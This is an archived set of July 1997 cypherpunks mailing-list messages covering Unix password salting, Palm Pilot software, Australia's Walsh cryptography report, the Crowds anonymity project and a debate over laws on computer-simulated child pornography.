> Are you going to post your home address and holiday plans on the list
> so we give you the chance to gloat over failing law enforcement ?

  I have no doubt that Paul would love to do so, if it weren't for the
fact that he would be subjected to imprisonment and lawsuits if he took
action to protect his home and property from intruders during his 
absence and some ignorant thief got himself hurt or killed.

  Legislators and LEA's bemoan the fact that the constitution ties
their hands in fighting crime, but the fact is that they are creating
a mountain of new crimes through legislation and stings instead of
putting their effort into dealing with real, existing crime.
  Miscarriage of justice is the rule of the day in the current legal
system. The fact that the reins of power and control of the media is
not in the hands of the poor, minorities, and social outcasts means
that those who are busy participating in and/or supporting the gross
miscarriages of justice are those who paint the system's public face.

> There's probably not much point in pursuing this discussion.

  Not as long as you willing to settle for corruption of justice and
the compromise of freedom being justifiable as being of "overall of
use to the public."
  I don't choose to sell my weapons and walk around with a "kick me"
sign on my back, trusting in strangers to defend my life and liberty.
I resent those who choose to do so intimating that I am some kind of
lunatic/radical for choosing to take personal responsibility for
defending my life, liberty and beliefs.

  I am not against joining with others in forming organizations which
are of mutual benefit to all. I am merely against these organizations
being in the hands of self-serving criminals who want control over
all of my movement and communication in order to guard their usurped
power.
  I am willing to defend myself, my neighbors, my country. I am not
willing to defend a corrupt system which imperils the freedom and
privacy of myself and my fellow citizens.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 15 Jul 1997 06:43:59 +0800
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <Fe6T0D1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970715042701.104A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Conspiracy theory: do you think the spammers are flooding the "free"
> sources of good stuff (such as usenet) to eliminate the competition,
> so people would have to pay them for same?

Porn4porn infact confess that thats what thay are doing.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 15 Jul 1997 19:41:44 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck the Usenet Cabal
In-Reply-To: <Pine.LNX.3.91.970713111822.728B-100000@fatmans.demon.co.uk>
Message-ID: <RaqV0D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > ObCrypto: I was offered a 76GB changer for $350.  I thought of the followin
> > demo application: a user e-mails a piece of a Unix passwd file (password+sa
> > to a server, which looks up a password that works.  Problem is, 76GB doesn'
> > seem sufficient for the lookup table. :-( (Assume infinite time available
> > on a fast box.)
>
> I have to confess ignorance over the form of the password in the unix
> passwd file, how much salt is used, does it vary from ?nix to ?nix or is it
> pretty standard? Maybe a small(ish) lookup table/ dictionary attack could
> be mounted using this.

Suppose that 'foo' is a valid password for the account 'bar'. Unix computes
crypt(3)[similar to DES] using 8 bytes of zeros as the plaintext and the
password (56 bits) and the 'salt' (the 12-bit time-stamp of when the
password is set) as the key. Then it stores the salt and the (64-bit) result
of crypt, often in a place where regular users can read it.

When some program wants to verify that 'baz' is indeed a password for 'foo',
it extracts the salt and the encrypted string from the password database,
computes crypt(3) of salt (from the database) + the password being tried,
and sees if it matches the encryption result in the database.

This was designed by Robert Morris Sr [who really deserves more fame than
being the father of Robert Morris Jr of the worm fame] and Ken Thompson.

The purpose of the pseudo-random 'salt' is to make sure that if two accounts
have the same password, they'll still have different encryption strings in
the database (almost always).

Thus, given 12+64 bits of input, we want to get the 56 bits of output; and
the vast majority of 12+64 inputs can't happen.

A well-known attack (implemented by widely available programs such as
"crack") is to try various words from a dictionary with the 'salts' used by
the traget account(s) (usually using not the (slow) crypt(3) from the
library, but a highly optimized version of it. [The guy who wrote the
"Camel" Perl book got caught doing this at a place where he worked as a
consultant, and was prosecuted and convicted.]

To prevent dictionary attacks, many sites no longer make the encrypted
strings "easily" available to users; programs must use an API to check if a
supplied password matches. Unix admins call this "password shadowing".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 15 Jul 1997 22:54:05 +0800
To: Bryce <marc.briceno@usa.net>
Subject: Re: hand-held computers Re: Electronic commerce has long way to go
In-Reply-To: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com>
Message-ID: <v03007810aff13df569ae@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:53 AM -0700 7/15/97, Bryce wrote:
>Is there gcc or any other C compiler for Pilot?  (There is not,
>yet, for Newton a publically available C compiler AFAIK.)

I believe at least the Macintosh version of Metroworks supports C cross
compiles for the Pilot.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kris carlier <root@krisnix.iguana.be>
Date: Tue, 15 Jul 1997 14:50:40 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: Re: Campingsport Amsterdam
In-Reply-To: <19970714222102.32274.qmail@squirrel.owl.de>
Message-ID: <Pine.LNX.3.95.970715075354.399A-100000@krisnix.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



High there,

> People making other arrangements may be interested in this
> tidbit from the NL tourist board.
> 
> Campingsport Amsterdam
> Jan van Galenstraat 271
> 1056 BZ Amsterdam
> tel.: 020-6128911
> fax : 020-6184509

we're going there too, and one of the things we wondered was whether it
might have been possible to hire a tent *locally*. I can get tents all
right, but the biggest problem is transportation. I surely hope that in
case you're going to rent one of their tents, delivery and pick-up is
included. Have you seen a transport-ready armytent already ? ;-) Amsterdam
is only 30' from Almere, by car. You do have a pick-up car don't you ? The
tent won't fit into my regular subaru ;-)

Our biggest cost is for transporting the tent from Belgium to Holland.
Interested in a compartiment ?

kr=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 15 Jul 1997 10:35:39 +0800
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <kTVu0D17w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970715081542.104F-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> 
> > Porn4porn infact confess that thats [...Spamming to destroy free
> > porn...] what thay are doing.

[...]

> I wish there were a technical solution to make Usenet immune to such
> sabotage wihout abridging free speech.

(? the Platypus looks up from the reams of perl code he is writing)

Dimitri what do you think NoCeMs are then?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 15 Jul 1997 23:50:12 +0800
To: cypherpunks@toad.com
Subject: If you build it, they will con, from the Netly News
Message-ID: <Pine.GSO.3.95.970715083752.2798C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 08:37:30 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: If you build it, they will con, from the Netly News


************

http://pathfinder.com/netly/opinion/0,1042,1168,00.html

The Netly News (http://netlynews.com)                                           
July 15, 1997 
             
If You Build It, They Will Con
by Declan McCullagh (declan@well.com)
   
        Perhaps the thinking behind DefCon went something like this: Lure
   hundreds of hackers to Las Vegas in the middle of the summer, ply them
   with cheap beer, talk about packet sniffing, and observe. Last year
   the result was self-organizing chaos, capped by an event where the
   hired strippers were upstaged by a band of exhibitionist
   conferencegoers. "The pimp was like, 'Oh my God,'" says Dark Tangent,
   DefCon's organizer.

        Last weekend's fifth annual DefCon may have been a little less
   raucous, but it was no less important as a place where hackers from
   around the world gather to socialize, gamble -- and glance around
   furtively trying to spot the government agents who infiltrate the
   convention. (Bonus: If you guess correctly, you can take a prized "I
   Spotted the Fed" T-shirt home with you.)

[...]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 00:08:27 +0800
To: cypherpunks@toad.com
Subject: Australia's restricted Walsh crypto-report attracts interest
Message-ID: <Pine.GSO.3.95.970715085322.2798G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 08:52:51 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Australia's restricted Walsh crypto-report attracts interest

The report's at:
  http://www.efa.org.au/Issues/Crypto/Walsh/

Also, I understand from participants in the Canberra meeting that U.S. 
performance there was lackluster at best. 

-Declan

*********

http://www.australian.aust.com/computer/fulltext/c0715d.htm

Censored report on the Web 
By STEVE CREEDY 
   
   July 15: The encryption report the Federal Government did not want
   Australians to read is already attracting overseas interest after just
   one week on the Web.
   
   A censored version of the Walsh Report on cryptography was obtained
   under the Freedom of Information Act and has been posted online by
   Electronic Frontiers Australia.
   
   The report, originally slated to be published earlier this year, had
   been withheld by federal Attorney-General Daryl Williams.
   
   EFA officials, worried the Government would formulate an encryption
   policy without debate, posted the report.
   
   The move came as international experts met in Canberra last week for
   closed-door discussions on cryptography.
   
   The report advises against major legislation to safeguard security and
   law enforcement interests.
   
   It proposes "minor legislative and other actions", including updating
   existing telecommunications and search laws, as well as a more
   co-ordinated approach by government to cryptography.
   
   It does not support US proposals for tackling the issues, including
   law to require decoding keys be stored with the Government.
   
   EFA cryptography committee chairman Greg Taylor said overseas interest
   was particularly strong from the US where there has been a
   long-standing debate on how to balance privacy, police and security
   issues when legislating on encrypted communications.
   
   Concern in Australia focused on whether the Government would present a
   cryptography policy without debate.
   
   "We're trying to make sure there is debate about all the issues and
   submissions from interested parties &#150; commercial, government and
   private interests," he said.
   
   But a spokesman for the Attorney-General said on Sunday the Government
   was formulating a policy and that there was scope for public input.
   
   "There will be, as a matter of course, some sort of announcement," he
   said. "That allows people to have input."
   
   The move to post the report was welcomed by its author, former ASIO
   deputy director-general Gerard Walsh, who said his work was for debate
   and he did not know why it had been withheld by the Attorney-General,
   who had cited "security issues".
   
   The spokesman said the document "was not suitable for discussion for
   the development of policy in the encryption area and, therefore, was
   not suitable for public release".
   
   However, Mr Walsh said he wrote two versions, one for public
   consumption and one that was "mildly classified".
   
   "Because there was going to be a public version, I did speak with
   interested parties and invited them to have a look and comment on the
   report in draft form," he said.
   
   "As I left it and as I understood it, all were content with it going
   public but someone must have had a change of heart."
   
   The version posted by EFA is the one intended for public discussion
   with an estimated 20 to 25 paragraphs deleted.
   
   Mr Taylor said it was posted with government permission.
   
   "The Attorney-General's [department] said they couldn't do much about
   it anyway," he said.
   
   The censored paragraphs fell under sections of the FOI Act relating to
   internal working documents, law enforcement issues and issues of
   national security.
   
   He did not know what was contained in the deleted paragraphs.
   
   Mr Taylor said Mr Walsh found the situation "quite laughable". The
   Walsh report was probably one of the first balanced reviews of the
   cryptography issue.
   
   "All existing reports are either prepared by government and come down
   heavily on one side, or they're prepared by groups that basically look
   at privacy," he said.
   
   "This one looks at all issues and as result of analysing them appears
   to state the whole concept of key escrow is doomed to failure."
   
   Mr Walsh concluded government should not commit to a particular
   solution because the problem itself "will continue to change".
   
   US attempts to regulate encryption &#150; including the clipper chip,
   key escrow and key management &#150; were "public relations and
   practical disasters".
   
   Blanket bans that limited access to services and equipment to achieve
   access for law enforcement agencies were not in the national interest.
   
   "I agree there is a law enforcement required access, but the way in
   which you achieved it was not to belt the little hazelnut with an
   almighty steam press that diminished everyone's freedom," he said.
   
   "Rather, the direction in which I wanted to push things was to say:
   'It would be better to slightly stiffen, strengthen and make more
   relevant those somewhat anachronistic investigative powers that
   already exist'."

###







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 16 Jul 1997 00:17:16 +0800
To: bryce@digicash.com
Subject: Re: hand-held computers Re: Electronic commerce has long way to go
In-Reply-To: <199707151053.MAA17126@digicash.com>
Message-ID: <199707151607.JAA18987@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Bryce writes:
> 
> 
> > After watching Ian Goldberg's demo of all the neat things one can do on an
> > US Robotics Palm Pilot PDA, I decided to purchase such a device.
> 
> 
> Hm.  I have already sent out e-mails to on-line merchants 
> asking if I can order a Newton, because I've heard from several
> people that Newton has a superior user interface, and I know 
> that its CPU is super fast.
> 
> 
> Unfortunately there is not yet any PGP or Ecash for Newton 
> publically available.
> 
> 
> How about for Pilot?
> 
> 
> Is there gcc or any other C compiler for Pilot?  (There is not,
> yet, for Newton a publically available C compiler AFAIK.)


There's a GCC development environment for the Pilot that
runs under Linux.   Also packages for synching, logging in from
the Pilot to unix, perl tools, assemblers, disassemblers, and
about 400 other things.

Check out http://www.inforamp.net/~adam/pilot/ for info.

It's pretty cool how much stuff is available for the pilot.  It's
too bad that I need either a full workstation with all the trimmings, or
just a pen and a (paper) notebook.

 
> What _are_ the cool things Ian Goldberg can do with a Pilot, 
> anyway?

SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff.
http://www.isaac.cs.berkeley.edu/pilot/



-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 16 Jul 1997 01:20:25 +0800
To: Eric Murray <bryce@digicash.com
Subject: Re: hand-held computers Re: Electronic commerce has long way to go
In-Reply-To: <199707151053.MAA17126@digicash.com>
Message-ID: <3.0.2.32.19970715100822.006fba74@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:07 AM 7/15/97 -0700, Eric Murray wrote:
>> What _are_ the cool things Ian Goldberg can do with a Pilot, 
>> anyway?
>
>SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff.
>http://www.isaac.cs.berkeley.edu/pilot/

Even better, the Pilot is about the same size as the new Ricochet wireless
modem. Keeping the modem in your pocket and the Pilot in your hand, you can
run Emacs over SSH from anywhere in the Bay Area.

For the GUI addicts, Ian's team just wrote a browser for the Pilot. In all
fairness, the browser for the Pilot does not interpret the HTML, but relies
on a proxy on the network to do much of the work.

But here is a device that is smaller and lighter than my wallet. A device
that gives me Emacs, a graphical web browser, and a contact manager and
scheduler that syncs with my scheduler at work. All wireless from anywhere
in the area. Did I mention that it has an Indiglo screen?

I'm sold,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Wed, 16 Jul 1997 01:44:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Making Imaginary Sex Illegal
Message-ID: <9707151736.AA27385@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




Alan Olsen writes:
> http://www.wired.com/news/news/politics/story/5153.html

> Making Imaginary Sex Illegal

> by Ashley Craddock
> 12:05pm  14.Jul.97.PDT Is there such a thing as child porn which doesn't
> involve children? Logic would say no, but adherence to the rules of
> reason has never been a hallmark of the United States Congress,
> particularly when it comes to hot-button issues like child protection.
> [...]

It's even less of a hallmark of the Canadian government; we've had this
sort of thing for a while.  From the Electronic Frontier Canada archives:

>1. R. v. Pecciarich (sentencing) [1995] O.J. No. 2238
>        http://www.efc.ca/pages/law/court/R.v.Pecciarich-sentence.html
>
>   This summarizes the penalty (2 years probation, with various conditions)
>   given to Canada's first person convicted of computerized kiddie porn.

Apparently he was convicted on obscenity charges for scanning in and
modifying pictures from department store catalogs.  However, he was
acquitted of distribution because it couldn't be proven that he did the
actual uploading.  (The lesson being, don't digitally sign all of your
outgoing traffic automatically?)

>2. Lawyer's Weekly - Pecciarich case
>        http://www.efc.ca/pages/media/lawyers-weekly.23jun95.html
>
>   Here's what the lawyer's said amongst themselves about
>   the Pecciarich decision.

tzeruch@ceddec.com, or maybe nobody@mars.ceddec.com, writes:
>If "computer-simulated" images are legal, how can you tell that it is
>computer simulated?  Everyone will then claim to be a talented artist, or
>use reverse aging algorithms on adult porn photos, or [...]

That's a good point, and will almost certainly come up in someone's
defence arguments sooner or later.

The cypherpunkish answer, I believe, would be to say that images of any
sort should not be illegal, but the means by which they were produced
may be.  In other words, do what you want on your computer, as long as
you leave real kids alone.

Of course, actual laws on the subject will bear no resemblance to the
CPish solution...

MJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 16 Jul 1997 03:04:45 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: hand-held computers Re: Electronic commerce has long way   togo
In-Reply-To: <199707151607.JAA18987@slack.lne.com>
Message-ID: <v03102803aff174e7e285@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>At 09:07 AM 7/15/97 -0700, Eric Murray wrote:
>>> What _are_ the cool things Ian Goldberg can do with a Pilot,
>>> anyway?
>>
>>SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff.
>>http://www.isaac.cs.berkeley.edu/pilot/
>
>Even better, the Pilot is about the same size as the new Ricochet wireless
>modem. Keeping the modem in your pocket and the Pilot in your hand, you can
>run Emacs over SSH from anywhere in the Bay Area.

For those outside of Metricom's coverage areas, NovaTel Wireless
http://www.novatelwireless.com is introducing a CDPD modem specifically
designed for the Pilot.  Their Minstrel modem offers TCP/IP data rates up
to 19.2 kbps over analog cellular.  Coverage in most US metropolitan areas
is now available.  List price is expected to be $ 399. and deliveries are
scheduled to begin in late summer.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 16 Jul 1997 03:06:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <19970715115457.07611@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote:
> But to return to the cypher aspect, what about altering existing images so
> that they are unidentifiable as to whether they are from real acts or
> truly the products of an imagination.  Will we now need someone from the
> government to certify the kiddie porn isn't real?

Yes, that's the logical next step -- Government Approved Porn (GAP).  
Perhaps we could get Senator Hatch to sponsor a bill?

The constitutional implications are staggering.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shane_Nifong@stratus.com
Date: Wed, 16 Jul 1997 00:14:44 +0800
To: <IMCEAX400-c=US+3Ba=+20+3Bp=STRATUS+3Bo=S2+3Bdda+3ASMTP=cypherpunks+40algebra+2Ecom+3B@ex.stratus.com>
Subject: Cryptography Seminars and Confrences
Message-ID: <c=US%a=_%p=stratus%l=ATLMAIL-970715161000Z-1352@misnt08-t.mis.stratus.com>
MIME-Version: 1.0
Content-Type: text/plain



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Hash: SHA1

Does anyone know of a web address or some other means of looking up 
conferences or seminars on the subject of cryptography?  If there is 
no site or reference, does anyone know of any upcoming around the 
Atlanta, GA area?

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 16 Jul 1997 03:41:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <v03102802aff173397d63@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:25 PM -0400 7/15/97, Unprivileged user wrote:
>> http://www.wired.com/news/news/politics/story/5153.html
>>
>> Making Imaginary Sex Illegal
>>
>> by Ashley Craddock
>>
>> So maybe it shouldn't be surprising that Congress has made it a
>> criminal offense to depict non-obscene, sexually explicit material
>> involving anyone who "appears to be" a minor. Maybe it shouldn't be
>> surprising that it made it a criminal offense to advertise materials in
>> any way that "conveys the impression" that minors will be sexually
>> depicted.
>>
>> But what about the fact that Congress explicitly designed the law to
>> make computer-simulated child porn illegal?
>
>If "computer-simulated" images are legal, how can you tell that it is
>computer simulated?  Everyone will then claim to be a talented artist, or
>use reverse aging algorithms on adult porn photos, or just use enough
>obvious features on a real picture to show computer alteration.  Or,
>simply have a CG artist render the live scene?  Which category would that
>be?  JPEG is a lossy compression technique - would that alteration to a
>photograph be considered "computer simulation".
>

Exactly. Like crypto, technology is making moot these Nanny laws, but the
legislators don't get it.  I completely reject Congress' and the SC's
different treatment of porn and graphic violence in the media.  Either both
or neither should be banned. The real issue is: Thought Crime.  Should
society have the right to control information content which cannot be shown
to directly endanger or harm specific parties?  I and many libertarians
would say HELL NO.

--Steve

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        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Wed, 16 Jul 1997 00:31:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <97Jul15.122553edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



> http://www.wired.com/news/news/politics/story/5153.html
> 
> Making Imaginary Sex Illegal
> 
> by Ashley Craddock 
> 
> So maybe it shouldn't be surprising that Congress has made it a
> criminal offense to depict non-obscene, sexually explicit material
> involving anyone who "appears to be" a minor. Maybe it shouldn't be
> surprising that it made it a criminal offense to advertise materials in
> any way that "conveys the impression" that minors will be sexually
> depicted. 
> 
> But what about the fact that Congress explicitly designed the law to
> make computer-simulated child porn illegal? 

If "computer-simulated" images are legal, how can you tell that it is
computer simulated?  Everyone will then claim to be a talented artist, or
use reverse aging algorithms on adult porn photos, or just use enough
obvious features on a real picture to show computer alteration.  Or,
simply have a CG artist render the live scene?  Which category would that
be?  JPEG is a lossy compression technique - would that alteration to a
photograph be considered "computer simulation". 

> As the case has evolved, the government has moved toward the stance
> that it didn't really mean to outlaw sexually explicit images of young
> adults who might look like kids. What it meant to do was protect the
> world from explicit kiddie morphs. 

If anyone watched the original hearings, this is what they were discussing
as the problem with the original definition.  I forget the specific
legalese, but if one face was pasted on a different body, for some reason
it ceased to fall within the old definition, making it very easy to create
"legal" child-pornography.  Of course courts regularly ignore legislative
intent. 

Congress is notoriously bad at coming up with good legal definitions, and
I was bothered that they didn't simply include "computer-altered" images
in the existing definition instead of a complete redifinition of "anything
that appears to be".

I hope the existing law is overturned as being too broad so that the
narrower definition can be passed.

But to return to the cypher aspect, what about altering existing images so
that they are unidentifiable as to whether they are from real acts or
truly the products of an imagination.  Will we now need someone from the
government to certify the kiddie porn isn't real?

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 16 Jul 1997 03:43:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <9707151736.AA27385@sabel.idacom.hp.com>
Message-ID: <v0300780eaff17f63f464@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know who the judge is, what the case name/# is?  I tried to
find information about the case on the Web last night, came up with nothing
resembling legal papers.

Lee






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 15 Jul 1997 18:58:54 +0800
To: Marc Briceno <marc.briceno@usa.net>
Subject: hand-held computers Re: Electronic commerce has long way to go
In-Reply-To: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com>
Message-ID: <199707151053.MAA17126@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain




> After watching Ian Goldberg's demo of all the neat things one can do on an
> US Robotics Palm Pilot PDA, I decided to purchase such a device.


Hm.  I have already sent out e-mails to on-line merchants 
asking if I can order a Newton, because I've heard from several
people that Newton has a superior user interface, and I know 
that its CPU is super fast.


Unfortunately there is not yet any PGP or Ecash for Newton 
publically available.


How about for Pilot?


Is there gcc or any other C compiler for Pilot?  (There is not,
yet, for Newton a publically available C compiler AFAIK.)


What _are_ the cool things Ian Goldberg can do with a Pilot, 
anyway?


Regards,

nobody in particular

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Reiter <reiter@research.att.com>
Date: Wed, 16 Jul 1997 01:52:22 +0800
To: cypherpunks@toad.com
Subject: update on Crowds
Message-ID: <199707151727.NAA00460@cloak.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain




Back in April we circulated an announcement for a system called
"Crowds" for browsing the web anonymously.  Here is an update on
its status.

1) There is a new, more complete version of the Crowds paper, and a
new web page from which you can retrieve it.  The page's URL is

http://www.research.att.com/projects/crowds/

Of course, comments are welcomed and appreciated.

2) AT&T has finally decided to release the code, and we are working
out a free license for noncomercial use with our lawyers right now.
Once that is done, we would like to start alpha testing.  Alpha
testing will require some commitment from the testers, and we are
looking for serious people who are interested in contributing to our
attempt at providing anonymity to the Internet community.  To be an
alpha tester, you should have access to a machine

- running SunOS, Solaris, or Irix
- with Perl 5.003 or later
- with a high-throughput connection to the Internet (no modems please!)
- that is not behind a firewall

Moreover, testers must be US citizens, due to the cryptography in the
code.  If you are interested in being an alpha tester, please send
email to either of us.  In your email, please describe the platform on
which you'll be running.

Mike Reiter <reiter@research.att.com>
Avi Rubin   <rubin@research.att.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 16 Jul 1997 04:48:44 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <19970715115457.07611@bywater.songbird.com>
Message-ID: <Pine.GSO.3.96.970715133817.16101C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Kent Crispin wrote:

> Yes, that's the logical next step -- Government Approved Porn (GAP).  
> Perhaps we could get Senator Hatch to sponsor a bill?
> 
> The constitutional implications are staggering.

"Welcome to the future.  Here is your free porn."

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 16 Jul 1997 04:49:45 +0800
To: Lee Tien <tien@well.com>
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <v0300780eaff17f63f464@[163.176.132.90]>
Message-ID: <Pine.GSO.3.96.970715133913.16101D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Lee Tien wrote:

> 
> Does anyone know who the judge is, what the case name/# is?  I tried to
> find information about the case on the Web last night, came up with nothing
> resembling legal papers.

There is no case law on it (yet).  It is currently a law being challenged
(or about to be) in court.  Something Orrin "I have to look good for the
Church" Hatch dreamed up.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 06:42:34 +0800
To: cypherpunks@toad.com
Subject: White House swaps stand and decides to invite ACLU after all
Message-ID: <Pine.GSO.3.95.970715152906.11464e-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 15:28:58 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
